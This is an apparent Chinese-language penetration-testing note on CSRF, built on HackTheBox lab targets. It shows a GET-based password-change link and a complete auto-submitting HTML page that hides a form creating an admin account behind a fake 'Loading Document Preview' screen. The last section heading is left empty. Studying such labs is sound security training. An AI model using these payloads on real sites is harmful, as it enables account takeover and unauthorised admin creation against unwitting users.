CSRF

1. 利用

通常需要注意以下地方:

  • csrf token是否与用户session绑定(csrf token非全局池共享)

1.1. 基于GET的

如果一个POST请求也可以通过GET方式实现的话,可以尝试这个种方式,一般都是有一个用户会来访问你的连接
如这里通过抓包发现也可以使用 GET 方式修改密码
正常的方式
Pasted image 20251101004917.png

我将其改成 GET 方式 发送请求,仍然可以被接受
Pasted image 20251101005014.png

这里是回到了登录框界面,但是经过测试确实是可以修改成功的

直接反馈
Pasted image 20251101005230.png

http://10.129.31.121/change_pass.php?confirm_password=321321&password=321321&submit=submit

1.2. 基于POST的

对于POST的请求,我们通常需要构建一个表单,可以直接用burp的右键菜单“生成CSRF POC”来构建表单

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Newsletter Preview</title>
</head>
<body onload="document.getElementById('csrf_exploit').submit()">
    <!-- 模拟一个正在加载的界面,掩盖后台的自动提交行为 -->
    <div style="text-align: center; margin-top: 50px; font-family: sans-serif;">
        <h2>Loading Document Preview...</h2>
        <p>Please wait a moment while we prepare your view.</p>
    </div>

    <!-- 隐藏的攻击表单 -->
    <form id="csrf_exploit" action="http://portal.guardian.htb/admin/createuser.php" method="POST">
        <!-- 恶意创建的管理员账号信息 -->
        <input type="hidden" name="username" value="c1trus" />
        <input type="hidden" name="password" value="Admin123" />
        <input type="hidden" name="full_name" value="Security System Auditor" />
        <input type="hidden" name="email" value="auditor@evil.com" />
        <input type="hidden" name="dob" value="1990-01-01" />
        <input type="hidden" name="address" value="Hidden Headquarters" />
        <input type="hidden" name="user_role" value="admin" />
        <input type="hidden" name="csrf_token" value="275addc405a6e17adaaf9600cc190713" />
    </form>
</body>
</html>

2. 案例